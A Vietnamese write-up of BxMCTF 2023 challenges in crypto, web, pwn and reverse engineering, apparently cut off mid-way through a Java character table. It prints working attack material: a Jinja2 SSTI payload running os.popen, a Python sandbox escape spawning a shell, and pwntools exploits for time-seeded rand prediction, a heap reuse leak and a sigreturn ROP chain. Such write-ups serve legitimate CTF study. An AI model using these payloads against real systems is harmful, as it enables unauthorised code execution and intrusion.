Try   HackMD

(writeup) BxMCTF - '23

CRYPTO

I Can't Beelieve It

  • Chall đưa cho ta 1 bài thơ rất xàm lunn
Kings and queens, their roles well-defined,
Nectar they gather, nature's sweetest find.
Opulent honeycombs, a golden treasure,
We marvel at their intricate measure.
Nurturing their young, a family affair,
Ending our exposition here, beware.

Cautiously, bees buzz through the air,
Together they work, a hive to share.
Flowers they find, a vital mission,
And in their flight, a colorful rendition.
Life in motion, nature's great ballet,
Let's explore the world of the Bee Movie today!
  • Nhìn thì không có gì để giải mã, nhưng mà hãy nhìn các chữ cái đầu dòng, ta dùng TOOL này để xác định xem có những gì giấu trong bài thơ đó

  • Nhìn này chưa thấy đúng vị trí, ta thử dùng các trường hợp hoán vị, thì ta thấyctf{knownall} là đúng

FLAG: ctf{knownall}


Where Snakes Die

  • Chall này đưa ta 1 khoảng trắng, nhìn tưởng chả có gì đặc biệt nhưng thực ra nó là như này:

  • Nó là Tab và Space, ta cần dùng 1 tool, để plaintext là dấu cách, ta được như sau

  • Nhìn khá giống Morse vì chỉ có 3 loại ký tự
  • Ta chuyển các ký tự đó thành các kí tự của morse dựa vào code như sau:
data = '	X	X|	|XX	X|	|X	|	XXX|XXX|			|XXX	|X|X	X|XXX|X		X|X	|	X	X|X|XXX'
data = data.replace('X','.')
data = data.replace('|','/')
morse = ''
for i in data:
    if i =='.' or i=='/':
        morse = morse + i
    else:
        morse = morse + '_'
print(morse)
#Output: _._./_/.._./_/._/_.../.../___/..._/./._./.../.__./._/_._././...
  • Ta dùng dcode để decode lại đoạn mã này

  • Chuyển về ký tự thường sẽ thu được flag

FLAG: ctf{tabsoverspaces}


RAID Safety Assays, But Fixed

  • Chall có đưa cho ta 1 source code:
e = 65537
n = 4629059450272139917534568159172903078573041591191268130667
c = 6743459147531103219359362407406880068975344190794689965016
main.py:

from Crypto.Util.number import *
import random

p = getPrime(96)
q = getPrime(96)
n = p*q
e = 65537

flag = b'ctf{0000000000000000}'
flag = str(pow(bytes_to_long(flag), e, n))

perm = list(range(10))
random.shuffle(perm)
perm = list(map(str, perm))

c = ''.join([perm[int(x)] for x in flag])

print(f'e = {e}')
print(f'n = {n}')
print(f'c = {c}')
  • Trước tiên, ta factor n và thấy được p = 62682123970325402653307817299q = 73849754237166590568543300233
  • Ta thấy trong code có 1 đoạn
perm = list(range(10))
random.shuffle(perm)
perm = list(map(str, perm))

c = ''.join([perm[int(x)] for x in flag])
  • Ta thấy rằng, perm chính là 1 random list gồm 10 phần tử từ 0 > 9 không theo quy luật gì cả.
  • Sau đó, c sẽ bằng perm[flag[i]], nghĩa là sẽ lấy từng chữ số của flag và thay vào đó là giá trị thứ perm tương ứng với chữ số đó
  • Ví dụ perm = [1,5,3,6]flag = 123013 thì c = 536156
  • Ta cần tạo các hoán vị từ 0 > 9 rồi brute force là sẽ tìm được flag
  • Script:
from itertools import permutations
from Crypto.Util.number import*

e = 65537
n = 4629059450272139917534568159172903078573041591191268130667
c = 6743459147531103219359362407406880068975344190794689965016
p =  62682123970325402653307817299
q = 73849754237166590568543300233
assert p*q-n==0
phi = (p-1)*(q-1)
d = inverse(e,phi)

x = ['6', '7', '4', '3', '4', '5', '9', '1', '4', '7', '5', '3', '1', '1', '0', '3', '2', '1', '9', '3', '5', '9', '3', '6', '2', '4', '0', '7', '4', '0', '6', '8', '8', '0', '0', '6', '8', '9', '7', '5', '3', '4', '4', '1', '9', '0', '7', '9', '4', '6', '8', '9', '9', '6', '5', '0', '1', '6']
lst = [6, 7, 4, 3, 4, 5, 9, 1, 4, 7, 5, 3, 1, 1, 0, 3, 2, 1, 9, 3, 5, 9, 3, 6, 2, 4, 0, 7, 4, 0, 6, 8, 8, 0, 0, 6, 8, 9, 7, 5, 3, 4, 4, 1, 9, 0, 7, 9, 4, 6, 8, 9, 9, 6, 5, 0, 1, 6]

# tạo một chuỗi chứa các chữ số
digits = "5678901234"

# tạo tất cả các hoán vị của chuỗi
perms = permutations(digits)

# tạo một list chứa các mảng con
subarrays = [list(perm) for perm in perms]

# lấy các mảng con để cho nó thành 1 chuỗi rồi đổi về số rồi decrypt
for subarray in subarrays:
    h = ''.join([subarray[int(x)] for x in x])
    cipher = int(h)
    flag = str(long_to_bytes(pow(cipher,d,n)))
    if 'ctf{' in flag:
        print(flag)
        exit()

FLAG: ctf{cryptpainfulflag}


WEB

Blank Space - I mean Page

  • Chall này cho ta 1 web trắng -> kiềm tra các đường dẫn ẩn
  • Vào robots.txt:

  • vào Tiếp /very-secretly-hidden

FLAG: ctf{sdh57349857243fkhkwAklkAH}


Repository Security

  • Tải file web2.zip mà đề bài cho. Mở thư mục app.py ta thấy từ line.
  • Ta đã biết được roles = admin có user = chuck ; password = norris.

  • Đăng nhập rồi ta lấy được flag.

FLAG: ctf{wh4t_4_h4rd_qu3sti0n}


Username Decorator

  • Bài này Đọc Source chúng ta sẽ nhận ra ssti nhưng lại có filter làm cho chúng ta không dùng được các kí tự như là ' "
  • Nhưng ở đây chúng ta có thể sử dụng request.args.a để bypass qua (này không phải mình nghĩ nha !!!)
  • ta sẽ thử từng bước 1 :
  • Đầu tiên ta sẽ truyền vào 1 tham số a với giá trị và "helloworld" r ấn enter:

  • tiếp theo ta sẽ sử dụng request.args.a để xem có bypass được không:

  • Vậy là Ổn đã bypass được tiếp theo lên mạng tìm payload:
  • ở đây mình sẽ dùng payload
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()
  • Test payload trước:

  • Hoạt Động khá ổn ở đây mình sẽ dùng lệnh "printenv" để in ra biến môi trường là FLAG như miêu tả nói:

FLAG:ctf{j4st_us3_pr0p3r_t3mp14t1ng_4lr34dy}


PWN

Banking Issues

  • source
#!/usr/local/bin/python

import os

balances = [10, 20, 50, 16, 29, 52, 100000]

PERMS_ADMIN = {
    "MAX_INDEX": len(balances) - 1
}

PERMS_AGENT = {
    "MAX_INDEX": len(balances) - 2
}

def main():
    perms = PERMS_AGENT
    wallet = 0
    idx = int(input("Which account would you like to withdraw from? "))
    if idx > perms["MAX_INDEX"]:
        print("Unauthorized")
        return
    wallet += balances[idx]
    balances[idx] = 0

    print(f"You now have ${wallet} in your wallet.\n")

    if wallet >= 100000:
        print("Thanks for storing a lot of $$ at our bank.")
        print("You qualify for free wealth management services.")
        print(f"To access this service, please email {os.getenv('FLAG')}@bxmctf.bank.\n")

    print("Thank you for banking with BxMCTF Bank.")


if __name__ == "__main__":
  main()
  • đọc code thì ta hiểu sơ qua là ta sẽ nhập 1 số nào đó để, số đó là số thự tự trong mảng balances, sau đó gán giá trị đó vào wallet , nếu wallet = 100000 thì ra flag

ta nhập thử 5 xem sao

  • kết quả là 52 nên chưa đúng

vậy ta nhâp 6 sẽ ra 1000000

chà ko đúng r, vậy ta thử nhập -1 xem sao:

ra rồi nè hehe

FLAG: ctf{0h_d34r_n3g4t1v3_1dx}


Math Class

  • check file + checksec

  • check source
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    srand(time(NULL));
    int lim = rand() % 8192;
    for (int i = 0; i < lim; i++) {
        rand();
    }
    
    printf("Ok, it's time to do some math!\n");
    for (int i = 0, a, b, c; i < 5; i++) {
        a = rand(); b = rand();
        printf("%d + %d = ?\n", a, b);
        scanf("%d", &c);
        if (a + b != c) {
            printf("Wrong answer\n");
            return 0;
        }
    }
    printf("Ok, let's switch it up. This time you give me the first number, and I give the rest!\n");
    for (int i = 0, a, b, c; i < 5; i++) {
        b = rand(); c = rand();
        printf("? + # = %d\n", c);
        scanf("%d", &a);
        printf("The equation was ? + %d = %d\n", b, c);
        if (a + b != c) {
            printf("Wrong answer\n");
            return 0;
        }
    }
    printf("Ok, you get the flag now, I guess\n");
    printf("%s\n", getenv("FLAG"));
}

  • bài này nó sẽ chia ra 2 giai đoạn
  • round 1: 5 vòng phép tính cộng bình thường
    printf("Ok, it's time to do some math!\n");
    for (int i = 0, a, b, c; i < 5; i++) {
        a = rand(); b = rand();
        printf("%d + %d = ?\n", a, b);
        scanf("%d", &c);
        if (a + b != c) {
            printf("Wrong answer\n");
            return 0;
        }
    }
  • round 2: 5 vòng guessing
    printf("Ok, let's switch it up. This time you give me the first number, and I give the rest!\n");
    for (int i = 0, a, b, c; i < 5; i++) {
        b = rand(); c = rand();
        printf("? + # = %d\n", c);
        scanf("%d", &a);
        printf("The equation was ? + %d = %d\n", b, c);
        if (a + b != c) {
            printf("Wrong answer\n");
            return 0;
        }
    }
  • ở round 2, đề sẽ bắt ta đoán 1 số
    a + b = c

cho biết trước số c, đoán số a và sẽ đưa ngẫu nhiên số b, thoã mãn phép tính sẽ in flag

  • thì bài này bug vẫn nằm ở time()srand()
  • thêm thư viện libc.so.6 vào để import thư viện chuẩn code C bên trong python
  • đầu tiên đề sẽ rand() 1 lượng nhất định
    setvbuf(stdout, NULL, _IONBF, 0);
    srand(time(NULL));
    int lim = rand() % 8192;
    for (int i = 0; i < lim; i++) {
        rand();
    }
  • sau đó mỗi vòng sẽ rand() thêm nữa nên ta sẽ rand() cho đủ số lượng là được

  • script:
#!/usr/bin/python3

from pwn import *
import random
import time
from ctypes import *

context.binary = exe = ELF('./main',checksec=False)
elf = cdll.LoadLibrary("libc.so.6")

#p = process(exe.path)
p = remote('198.199.90.158',33017)

p.recvline()

giay = int(time.time())
elf.srand(giay)

lim = elf.rand() % 8192
log.info("rand: " + str(lim))
for i in range(0,lim):
    z = elf.rand()

for i in range (0,5):
	a = elf.rand()
	b = elf.rand()
	a = int(p.recvuntil(b' +',drop=True),10)
	b = int(p.recvuntil(b' =',drop=True),10)
	p.recvuntil(b'?\n')
	c = a + b
	p.sendline(str(c))

p.recvline()

for i in range (0,5):
	b = elf.rand()
	c = elf.rand()
	log.info("b = " + str(b))
	log.info("c = " + str(c))
	p.recvuntil(b'# = ')
	c = int(p.recvline()[:-1],10)
	log.info("c = " + str(c))
	a = c - b 
	p.sendline(str(a))

p.interactive()
#ctf{sr4nd_t1m3_n0t_th4t_r4nd0m}

FLAG: ctf{sr4nd_t1m3_n0t_th4t_r4nd0m}


More Banking Issues

  • check file + checksec

  • check ida
unsigned __int64 sub_12E0()
{
  char *v0; // rax
  char *v1; // rax
  unsigned int v2; // eax
  __int128 *v3; // rbx
  void **v4; // rbp
  unsigned __int64 result; // rax
  __int64 v6; // rax
  __int64 v7; // rdx
  __int64 v8; // rax
  __int64 v9; // rdx
  __int64 v10; // rcx
  __int64 v11; // rax
  __int64 v12; // r14
  size_t v13; // rdi
  __int64 v14; // r14
  void *v15; // r13
  char v16; // al
  time_t v17; // rax
  int v18; // ecx
  __int64 v19; // rdx
  __int64 v20; // rdx
  __int64 v21; // rcx
  int v22; // [rsp+4h] [rbp-84h]
  char *ptr; // [rsp+8h] [rbp-80h]
  unsigned int v24; // [rsp+14h] [rbp-74h] BYREF
  unsigned int v25; // [rsp+18h] [rbp-70h] BYREF
  int v26; // [rsp+1Ch] [rbp-6Ch] BYREF
  __int128 v27[2]; // [rsp+20h] [rbp-68h] BYREF
  __int64 v28; // [rsp+40h] [rbp-48h]
  unsigned __int64 v29; // [rsp+48h] [rbp-40h]

  v29 = __readfsqword(0x28u);
  ptr = (char *)malloc(0x40uLL);
  v0 = getenv("SECRET_KEY");
  __strcpy_chk(ptr, v0, 32LL);
  v1 = getenv("FLAG");
  __strcpy_chk(ptr + 32, v1, 32LL);
  v22 = 0;
  v28 = 0LL;
  memset(v27, 0, sizeof(v27));
  while ( 1 )
  {
    puts("Welcome to BxMCTF Bank ABM");
    puts("1. Make an account");
    puts("2. Check Balance");
    puts("3. Make a Deposit");
    puts("4. Withdraw Money");
    puts("5. Quit");
    __printf_chk(1LL, "What is your choice? ");
    __isoc99_scanf("%d", &v24);
    v2 = v24;
    if ( v24 - 2 > 2 )
      goto LABEL_3;
    __printf_chk(1LL, "Account Number? ");
    __isoc99_scanf("%d", &v25);
    if ( v25 <= 4 && (v19 = *((_QWORD *)v27 + (int)v25)) != 0 )
    {
      if ( v25 != *(_DWORD *)(v19 + 4) )
      {
        puts("Oh no, something terrible happened. Please go to the front counter.");
        exit(0);
      }
      v2 = v24;
LABEL_3:
      switch ( v2 )
      {
        case 1u:
          __printf_chk(1LL, "How long is your account name? ");
          __isoc99_scanf("%d", &v26);
          fgetc(stdin);
          if ( v26 <= 0 )
          {
            v26 = 1;
            v12 = 1LL;
          }
          else
          {
            v12 = v26;
            if ( v26 > 128 )
            {
              v26 = 128;
              v12 = 128LL;
            }
          }
          v13 = v12;
          v14 = 0LL;
          v15 = malloc(0x28uLL);
          *((_QWORD *)v15 + 3) = malloc(v13);
          v25 = v22;
          *((_QWORD *)v27 + v22++) = v15;
          __printf_chk(1LL, "Account Name? ");
          if ( v26 > 0 )
          {
            do
            {
              v16 = fgetc(stdin);
              if ( v16 <= 31 )
                break;
              *(_BYTE *)(*((_QWORD *)v15 + 3) + v14++) = v16;
            }
            while ( v26 > (int)v14 );
          }
          strcpy((char *)v15 + 32, "CHEQ");
          v17 = time(0LL);
          *((_QWORD *)v15 + 1) = 0LL;
          *((_QWORD *)v15 + 2) = v17;
          v11 = (int)v25;
          v18 = 4 * v25 + 182730;
          *((_DWORD *)v15 + 1) = v25;
          *(_DWORD *)v15 = v18;
          goto LABEL_13;
        case 2u:
          v11 = (int)v25;
LABEL_13:
          __printf_chk(
            1LL,
            "Account %d (%s) - %s: %lld\n",
            *(unsigned int *)(*((_QWORD *)v27 + v11) + 4LL),
            *(const char **)(*((_QWORD *)v27 + v11) + 24LL),
            (const char *)(*((_QWORD *)v27 + v11) + 32LL),
            *(_QWORD *)(*((_QWORD *)v27 + v11) + 8LL));
          break;
        case 3u:
          __printf_chk(1LL, "How much? ");
          __isoc99_scanf("%d", &v24);
          v8 = *((_QWORD *)v27 + (int)v25);
          v9 = (int)v24;
          v10 = *(_QWORD *)(v8 + 8) + (int)v24;
          *(_QWORD *)(v8 + 8) = v10;
          __printf_chk(1LL, "You have successfully deposited $%d. Your balance is now $%lld\n", v9, v10);
          break;
        case 4u:
          __printf_chk(1LL, "How much? ");
          __isoc99_scanf("%d", &v24);
          v6 = *((_QWORD *)v27 + (int)v25);
          v7 = *(_QWORD *)(v6 + 8);
          if ( v7 >= (int)v24 )
          {
            v20 = v24;
            v21 = *(_QWORD *)(v6 + 8) - (int)v24;
            *(_QWORD *)(v6 + 8) = v21;
            __printf_chk(1LL, "You have successfully withdrawn $%d. Your balance is now $%lld\n", v20, v21);
          }
          else
          {
            __printf_chk(1LL, "Insufficient funds. You only have $%lld.\n", v7);
          }
          break;
        case 5u:
          free(ptr);
          if ( v22 )
          {
            v3 = v27;
            do
            {
              v4 = *(void ***)v3;
              v3 = (__int128 *)((char *)v3 + 8);
              free(v4[3]);
              free(v4);
            }
            while ( (__int128 *)((char *)v27 + 8 * (unsigned int)(v22 - 1) + 8) != v3 );
          }
          puts("Thank you for banking with BxMCTF.");
          result = v29 - __readfsqword(0x28u);
          if ( result )
            JUMPOUT(0x174BLL);
          return result;
        default:
          puts("Invalid option");
          break;
      }
    }
    else
    {
      puts("Invalid account");
    }
  }
}
  • muốn chạy được file hay debug file, ở mỗi terminal ta phải khai báo biến môi trường
$ FLAG="KCSC{this_is_fake_flag}"
$ SECRET_KEY="KCSC{secret_key}"
$ export FLAG && export SECRET_KEY
  • đề cho ta 5 options:
    puts("Welcome to BxMCTF Bank ABM");
    puts("1. Make an account");
    puts("2. Check Balance");
    puts("3. Make a Deposit");
    puts("4. Withdraw Money");
    puts("5. Quit");
  • option1 sẽ là tạo 1 acc, hỏi size name(tức là hỏi size để malloc tạo heap) rồi điền name
  • option2 để in ra thông tin acc
  • option3 option4 sẽ là tăng giảm tiền (đặt cọc & rút : số âm / dương đều được)
  • option5 sẽ là free() (để 'Quit' vậy thôi chứ k có thoát chương trình, lặp lại vòng lặp)
  • hint: LIFO (last in first out)
  • cơ chế LIFO là dạng dữ liệu pushpop
  • nói nôm na ntn:

vào trước, nhưng ra sau cùng
vào sau, nhưng được ra trước

  • dừng trước scanf() chọn option

  • ta thấy flag ta sẽ nằm trong heap, thì cơ chế LIFO sẽ cùng tương tự với tcache và fastbin

  • để có thể đổi chỗ 2 chunk thì ta phải đổi 2 chunk CÙNG SIZE

size = 0x50 -> khởi tạo 0x40 = 64 là đẹp (vì còn 0x10 làm tròn)
content thì k quan trọng

p.sendlineafter(b'choice? ',b'1')
p.sendlineafter(b'name? ',b'64') #0x40 --> malloc = 0x50
p.sendlineafter(b'Name? ',b'hlaan')

secret_key là 92a0

  • sau đó ta free

secret_key là 9730

  • malloc thêm 1 lần với size name 0x40 để tạo cùng size 0x50
  • nhưng content sẽ là 0x20 byte 'a' (mục đích nối chuỗi dính với cái flag)

  • sau đó nó sẽ hiện thị tên acc kèm flag

  • remote:

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./main',checksec=False)

######################################
# $ FLAG="KCSC{this_is_fake_flag}"   #
# $ SECRET_KEY="KCSC{secret_key}"    #
# $ export FLAG && export SECRET_KEY #
######################################

#p = process(exe.path)
p = remote('198.199.90.158',36427)

p.sendlineafter(b'choice? ',b'1')
p.sendlineafter(b'name? ',b'64') #0x40 --> malloc = 0x50
p.sendlineafter(b'Name? ',b'hlaan')

p.sendlineafter(b'choice? ',b'5') #free secret

p.sendlineafter(b'choice? ',b'1')
p.sendlineafter(b'name? ',b'64') #ghi lại cùng size với secret
p.sendlineafter(b'Name? ',b'a'*32) #0x20 nối chuỗi

p.interactive()
#ctf{o0ps_m4ll0c_c4lloc}

FLAG: ctf{o0ps_m4ll0c_c4lloc}


Bonus: The Revenge of Checkpass 1

  • check source
#!/usr/local/bin/python
# -*- coding: utf-8 -*-

def main():
  password = "the password can contain non-ascii charactérs :)"
  inp = input("Enter a Python list: ")
  lis = eval(inp, {'__builtins__': None}, None)
  if type(lis) != list:
    print("That's not a list")
    return
  for i in lis:
    if not isinstance(i, int):
      print("The list can only contain integers")
      return
  if lis == [ord(e) for e in password]:
    print("You are now authorized!")
    with open("flag.txt", "r") as flag:
      print(flag.read())
  else:
    print("Incorrect password!")

if __name__ == "__main__":
  main()

  • trên máy local:

{}.__class__.__base__.__subclasses__()[104].load_module("os").system("sh")

tìm được 104 là do brute bằng script

  • payload chung:

{}.__class__.__base__.__subclasses__()[id].load_module("os").system("sh")

id này phải fuzz theo từng máy

  • bị treo ở 107

  • script:
#!/usr/bin/python3

from pwn import *
import os

for i in range (50,200):
	p = remote('198.199.90.158',37369)
	payload = '{}.__class__.__base__.__subclasses__()'
	payload += f'[{i}].load_module("os").system("sh")'
	p.sendline(payload)
	if b'Traceback (most recent call last):' not in p.recvline():
		p.interactive()
	else:
		p.close()
#ctf{pyth0n_s4ndb0x_br34k0ut_1f8bca}

FLAG: ctf{pyth0n_s4ndb0x_br34k0ut_1f8bca}


Anti-Libc

  • check file + checksec

  • check ida

main

readint

read_buf

  • đề sẽ in ra "Length of input?" cho mình nhập 1 số

  • sau đó sẽ cho ta gửi vào dữ liệu với size là số ta nhập trước đó
  • checksec có mỗi NX bật, tên đề là anti-libc, k thể sehllcode, k thể ret2libc
  • chỉ còn ROP là khả quan nhưng ở bài này sẽ dùng SYSROP
  • kiểm tra xem có lỗi BOF k để mà còn sài sigreturn

signed __int64 v2 //rax
---------------------------------------
v2 = sys_read(0, input_buf, 0x10000uLL) //bufer overflow
  • uầy z là có rbp rip các kiểu
  • tính offset

72 bytes

  • ROPgadget có syscall ta cần

0x0000000000401055

  • nhưng ta lại không có gadget nào khả quan để thiết lặp rax thành 0xf cho sigreturn cả
  • thì có là biến __int64 v2 đc ida phân tích là rax
  • tức là 8 byte đầu của nó sẽ truyền vào rax, nhưng ở đây nó truyền lần lượt từng byte một
  • là nó sẽ k truyền hoàn toàn cả 8 bytes vào rax 1 lượt, mà chỉ truyền duy nhất 1 byte và làm mới cho mỗi vòng lặp

hàm read_buf có tác dụng là đọc từng byte, trả về kết quả cho result
sau đó gán con trỏ *v5 cho result
*v5 được ida hiểu là thanh ghi r10
ở đây ta debug kỹ sẽ hiểu tại sao lại đọc từng byte 1, rồi lại đẩy stack cao lên các kiểu
chú ý ở thanh ghi r10 và rbp, rip khi debug

  • thế phải làm sao đâyyyyy
  • phải làm sao phải làm sao 👉👈
  • thì ta để payload ta 8 byte đầu null, ở rip gọi hàm đọc 1 số là đủ
    (randint() trong trường hợp này là hợp ní)
  • sau đó mình send(b'15') vào
  • lúc này 15 = 0xf đó sẽ đưa vào đầu payload thêm 1 con số, r đưa lên rax, thế là ta có rax = 0xf rồi, call syscall lên là có ngay sigreturn
  • nhưng vì chèn thêm 1 byte 15 = 0xf đó nên offset sẽ tăng thêm 1 thành 73 (nếu giữ 72 bytes thì debug sẽ thấy lỗi)
  • payload cho sigreturn:
    • truyền b'/bin/sh\0' ngay sau 8 bytes null
    • đọc vào vùng nhớ bss 0x402020
    • b'/bin/sh\0' nằm ở địa chỉ cao hơn 8 là 0x402028 -> rdi

  • để cho payload vừa khít lỗ đít thì ở lần nhập đầu tiên 'input?', ta sẽ tính độ dài payload trừ đi 1 là xong

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./main',checksec=False)

#p = process(exe.path)
p = remote('198.199.90.158',37813)

# gdb.attach(p,gdbscript='''
# 	b*main+30
# 	b*main+35
# 	b*0x40103f
# 	c
# 	''')
# input()

syscall = 0x0000000000401055

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x00000000402028
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = syscall

payload = p64(0)
payload += b'/bin/sh\0'
payload = payload.ljust(73,b'A')
payload += p64(exe.sym['readint'])
payload += p64(syscall)
payload += bytes(frame)

length = len(payload)

p.sendafter(b'input? ',str(length-1).encode())

p.send(payload)

p.sendline(b'15')

p.interactive()
#ctf{p3rf_4nd_s3c_m1sm4tch}

ctf{p3rf_4nd_s3c_m1sm4tch}


REV

Deception

  • tait file zip từ chall về, nhận được 1 đoạn mã hoá base64, decode và nhận được source có vẻ giống java
import java.io.*;
import java.util.*;
import java.time.*;
import java.text.*;
import java.math.*;
public class Deception {
    static FastReader FastReader = new FastReader();
    static BufferedWriter o = new BufferedWriter(new OutputStreamWriter(System.out));
    static PrintWriter pw;

    static char table[] = {
            'd', 'y', 'n', 'm', 'r', '7', '2', '3', '9', '8', 'o', '2', 'm', 'n', 'y', 'l', 'r', 'f', '7', '4', '9',
            '0', '2', '3', 'q', 'y', 'n', 'd', '7', '8', '9', '4', '2', '3', 'y', 'd', '8', '9', 'o', 'q', '7',
            's', 'n', 'g', 'y', 'u', 'i', '2', 'g', 'h', 'u', 'y', 'i', 'c', 'g', 'i', 'k', 'a', 'd', 'l', 'd',
            'g', 'h', 'i', 'w', 'k', 'a', 'l', 'S', 'D', 'H', 'N', 'Q', 'O', '3', '2', '7', 'D', 'Q', '2', 'O',
            '8', 'G', 'D', 'H', '7', '8', 'O', '2', 'Q', 'D', 'N', 'G', 'W', 'U', 'A', 'K', 'D', 'G', 'H', 'X',
            'K', 'J', 'S', 'A', 'G', 'D', '2', 'K', 'S', 'A', 'G', 'I', 'K', 'G', 'I', 'Y', 'K', 'G', 'I', 'K',
            '7', 'i', 'k', 'l', 'f', 'g', '3', 'i', 'k', 'r', 'g', 'f', '3', '8', 'o', '4', '7', 't', 'g', '3',
            '9', '8', 'o', 'f', 'g', 'o', '7', 'i', 'h', 'f', 'k', 'u', 'i', 'a', 'l', 'w', 'e', 'h', 'f', 'i',
            'l', 'w', 'k', 'a', '}', 'h', 'x', 'w', 'l', 'a', 'u', 'k', 'f', 'x', 'n', 'h', 'e', 'a', 'o', 'i',
            'u', 'h', 'x', 'f', 'g', 'a', 'w', 'i', 'o', 'u', 'y', 'g', 'h', 'e', 'a', 'w', '8', 'o', 'n', '7',
            '4', 'w', 'f', '8', 'o', 'n', 'w', 'q', 'g', '7', '8', 'o', '4', 'w', 'a', 'n', 'g', 'h', 'u', 'i',
            'a', 'w', 'e', 'k', '0', 'l', 'f', 'b', 'x', 'c', 'j', 'k', 'a', 's', 'd', 'f', 'b', 'j', 'k', 'a',
            's', 'e', 'f', 'k', 'j', 'a', '7', 'e', 'n', 'f', 'g', 'a', 'i', 'u', 'y', 'w', 'e', 'k', 'f', 'g',
            'y', 'u', 'w', 'e', 'a', 'i', 'o', 'g', 'h', 'x', 'f', 'a', 'e', 'j', 'k', 'w', 'B', 'f', 'w', 'e',
            'a', 'k', 'j', 'f', 'g', 'h', 'a', 'w', '7', 'g', 'v', 'a', 'w', 'u', 'b', 't', '3', '2', 'q', '6',
            '7', '8', 'd', 't', 'b', '3', 'q', '6', '8', 'o', '4', 't', 'q', '7', '8', 'o', 'i', '3', 't', 'r',
            'o', '8', 'c', '7', 'b', 't', '3', '5', 'p', '9', 'q', 't', 'y', '5', 'c', '7', '1', 'b', 'r', 't',
            'c', 'y', '2', '7', '1', '8', 'f', '2', '7', '1', '8', '9', '0', '7', 'n', 'y', '0', '9', '8', 'y',
            'm', 'r', '8', '9', '2', 'm', 'c', '0', '9', '2', 'y', 'i', 'o', 'h', 'u', 'i', 'w', 'h', 'i', 'l',
            'w', 'n', 'h', 'r', 'i', 'u', 'w', 'e', 'k', 'l', 'h', 'n', '8', '2', '7', '0', '3', 'n', 'y', 'r',
            '7', '4', 'j', '3', 'y', 'n', 'r', '7', '8', '3', 'n', 'g', 'h', 'c', 'e', '7', 'u', 'n', 'g', 'c',
            'h', 'o', '3', '7', 'i', '4', 'y', 'h', 'r', 'o', 'i', 'u', 'w', 'e', 'h', 'r', 'i', 'o', 'w', 'n',
            'r', 'u', 'w', 'e', 'i', 'r', 'h', 'n', 'w', 'o', 'u', 'i', 'e', 'n', 'h', 'r', 'i', 'u', 'i', '3',
            'e', 'w', 'n', 'h', 'u', 'i', 'w', 'o', 'h', 'c', 'm', 'r', '7', '8', '4', 'n', 'y', '3', '7', '9',
            '8', '4', '4', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '6', '3', '9', '8', '7', 'c',
            'n', 't', '5', 'y', '9', '3', '4', '7', '8', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6',
            'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9',
            '1', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o',
            's', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', 'h', '9', 'q', '7', '0', '4', '2', 'd', 'r', 'y',
            'n', 'm', '9', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 't', '9', 'r', 'n',
            'y', 'm', 'f', 'o', 'q', '8', '9', '3', 'f', 'y', 'm', 'n', 'y', '3', 'q', '8', '}', 'o', 'd', 'r',
            'm', 'n', 'y', 'q', '9', '2', '3', '8', '7', 'y', '7', '8', '9', '5', 'y', 'q', '9', 'd', 'o', 'y',
            'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', 'y', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G',
            'H', '3', 'I', 'W', 'Y', 'U', 'T', 'G', 'N', '3', 'I', '7', 'f', '4', 'T', 'G', '8', '7', '3', '6',
            'I', 'W', 'T', '5', 'Y', '7', '8', 'W', '3', '4', 'O', 'N', 'F', 'C', 'B', 'O', 'd', '3', '7', 'N',
            'Y', 'F', 'R', '4', 'N', '7', 'U', 'I', 'Y', 'E', 'K', 'L', 'S', 'H', 'A', 'I', 'U', 'H', 'E', 'R',
            'F', 'U', 'A', 'I', 'W', 'K', 'R', 'N', 'o', 'F', 'H', 'A', 'O', '7', '8', '4', 'Y', '7', 'O', '8',
            'Y', '7', '8', 'O', 'Y', 'N', '7', '8', '4', 'Y', 'N', 'R', 'Q', '7', 'O', '8', '1', '4', '9', 'R',
            'Y', 'N', 'M', 'C', 'Q', '3', 'd', 'R', 'C', 'N', 'Y', '7', 'Q', 'O', 'I', '3', 'U', 'N', 'Y', 'C',
            'H', 'R', 'I', 'L', 'U', 'H', 'I', 'L', 'W', 'A', 'H', 'E', 'R', 'U', '1', 'W', 'L', 'N', 'H', 'C',
            'U', 'I', 'W', '4', 'A', 'N', 'Y', 'H', 'R', 'C', '4', 'A', 'O', '8', '7', '9', 'R', 'Y', 'N', '7',
            'C', 'A', '8', 'Y', 'R', 'C', 'N', '7', '8', 'O', 'A', 'R', 'Y', 'C', 'o', '7', '8', '8', 'O', 'C',
            'R', 'Y', 'N', 'M', 'A', 'C', '7', 'N', 'R', 'H', 'A', 'E', 'I', 'U', 'w', 'O', 'H', 'N', 'R', 'C',
            'A', 'W', 'U', 'I', 'O', 'N', 'H', 'O', 'U', 'I', '3', '7', '8', '6', '2', '8', 'j', '2', '6', '7',
            '8', '9', '1', '6', '4', '7', '8', '9', 'n', '6', 'd', 'x', '9', '8', '7', '2', '3', 'n', 'y', '4',
            '7', '8', '2', 'y', 'x', 'e', '9', 'd', 'h', '2', '7', '3', '8', 'h', 'n', 'x', '7', '8', '9', '2',
            '1', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '1', '3', '9', '8', '7', 'p', 'P', 'c',
            'n', 't', '5', 'y', '9', '3', '4', '7', 'd', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6',
            'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9',
            'o', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o',
